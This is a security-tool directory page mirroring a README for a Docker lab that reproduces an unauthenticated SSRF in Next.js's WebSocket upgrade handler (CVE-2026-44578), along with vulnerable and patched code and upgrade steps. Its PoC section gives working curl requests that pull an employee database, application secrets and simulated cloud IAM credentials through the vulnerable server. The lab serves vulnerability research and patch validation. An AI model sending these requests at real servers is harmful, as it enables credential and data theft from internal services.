Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-44578 — Proof-of-concept exploit for CVE-2026-44578 that reproduces the vulnerable condition, enabling security researchers to validate affected systems and assess mitigations. | Kitploit
工具/GitHubGitHub/lxxexxbxx/cve-2026-44578
Vulnerability AnalysisExploitationAdversarial Attack
GitHublxxexxbxx/cve-2026-44578

CVE-2026-44578

Proof-of-concept exploit for CVE-2026-44578 that reproduces the vulnerable condition, enabling security researchers to validate affected systems and assess mitigations.

查看仓库
1181个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-44578 — Next.js WebSocket Upgrade Handler SSRF Lab

Security Academy CERT Project vulnerability reproduction lab environment for mentor demos


Overview

ItemDetails
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS8.6 (High)
CWECWE-918 (Server-Side Request Forgery)
Affected VersionsNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4
Patched Versions15.5.16+, 16.2.5+
Authentication RequiredNone (Unauthenticated)

Next.js's WebSocket upgrade handler (upgradeHandler) proxies absolute-form URIs (RFC 7230 §5.3.2) inserted into the HTTP request line to internal services without validation.
This allows arbitrary HTTP requests to be sent to internal services that are inaccessible from the outside (SSRF).


Lab Architecture

[Attacker]
    │
    │  WebSocket Upgrade request
    │  GET http://internal-svc/api/v1/employees HTTP/1.1
    │  Connection: Upgrade  /  Upgrade: websocket
    ▼
[nextjs-vuln :3000]  ← externally exposed
    │
    │  unvalidated proxy (proxyRequest)
    ▼
[internal-svc :80]   ← internal network only, no direct external access
    │
    ├── GET /api/v1/employees   → employee DB (name·email·salary·pw_hash)
    ├── GET /api/v1/config      → DB password·JWT secret·Redis password
    └── GET /latest/meta-data/… → AWS IMDS simulation (IAM credentials)

docker-compose ├── nextjs-vuln (Next.js 15.5.0, vulnerable version) └── internal-svc (FastAPI + SQLite, internal network only)


Environment Setup and Execution

Prerequisites

  • Docker 24+
  • Docker Compose v2

Execution

git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build

After the build completes, it takes 30–60 seconds for Next.js to be ready.
Verify readiness:

curl -s http://localhost:3000/api/hello | grep ok

Vulnerability Reproduction (PoC)

Attack Flow

Normal HTTP requests only include a path in the form GET /path HTTP/1.1,
but RFC 7230 §5.3.2 allows absolute-form, which places the full URL in the request line.

GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket

Next.js's upgradeHandler parses this URL and, if parsedUrl.protocol exists,
calls proxyRequest() without destination validation.
The curl --request-target option can be used to specify the request line directly.

STEP 1 — Confirm direct access to internal service is blocked

curl -s --connect-timeout 3 http://internal-svc/health
# → connection failed (internal network cannot be reached directly from outside)

STEP 2 — SSRF health check of internal service

curl -s --http1.1 \
  --request-target "http://internal-svc/health" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

STEP 3 — Exfiltrate employee DB

curl -s --http1.1 \
  --request-target "http://internal-svc/api/v1/employees" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

→ Returns all names·emails·salaries·bcrypt hashes

STEP 4 — Exfiltrate app config (DB password·JWT secret)

curl -s --http1.1 \
  --request-target "http://internal-svc/api/v1/config" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

STEP 5 — Exfiltrate AWS IMDS credentials (2 stages)

# 5-1: Enumerate IAM role names
curl -s --http1.1 \
  --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

# 5-2: Exfiltrate credentials
curl -s --http1.1 \
  --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

Internal Working Principle

Vulnerable Code (router-server.js upgradeHandler)

// Next.js 15.5.0 ~ 15.5.15 — vulnerable
const { matchedOutput, parsedUrl } = await resolveRoutes({
    req, res: socket, isUpgradeReq: true,
    signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) {                              // ← no destination validation
    return await proxyRequest(req, socket, parsedUrl, head);
}

As long as parsedUrl.protocol exists, it proxies immediately. Whether the target host is an internal IP or
IMDS (169.254.169.254), it is always forwarded.

Official Patch (15.5.16+)

// Next.js 15.5.16+ — patched
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
    req, res: socket, isUpgradeReq: true,
    signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) {                  // ← finished guard added
    if (!statusCode) {
        return await proxyRequest(req, socket, parsedUrl, head);
    }
    return socket.end();
}

finished is only true when the request matches a normal route inside resolveRoutes.
Since absolute-form URIs do not match normal routes, finished === false → proxy is blocked.

Lab Patch Structure (patch-for-lab.js)

In the reproduction environment, resolve-routes.js misinterprets :// as consecutive slashes and
collapses http://host/path to http:/host/path, which inadvertently blocks the SSRF.
patch-for-lab.js disables this behavior so the vulnerability can be reproduced normally.


Patching Methods

Method 1 — npm upgrade (recommended)

# 15.x series
npm install next@">=15.5.16"

# 16.x series
npm install next@">=16.2.5"

# Verify version
npx next --version

Method 2 — Pin version in Dockerfile

RUN npm install [email protected] --legacy-peer-deps
# or pin "next": "15.5.16" in package.json, then
RUN npm ci

Method 3 — Direct code patch without version upgrade

Apply the official patch logic to the current version using the included patch-defense.js:

# Inside the lab container
node patch-defense.js

# Check status only (no file modification)
node patch-defense.js --check

After applying the patch, SSRF requests are blocked without a response.


File Structure

CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes patch (for SSRF reproduction) │ ├── patch-defense.js # router-server defense patch (proves code-level defense) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # FastAPI internal service (SQLite + IMDS simulation) │ └── requirements.txt └── exploit/ └── demo.sh # 6-stage automated demo script


Disclaimer

This repository is provided solely for security education and vulnerability research purposes.
Using it for unauthorized attacks against real services is illegal, and
all testing must be performed only in environments you own or have explicit permission to test.

This repository is intended solely for educational and authorized security research.
Unauthorized use against production systems is illegal.
All testing must be performed only in environments you own or have explicit permission to test.


References

下载工具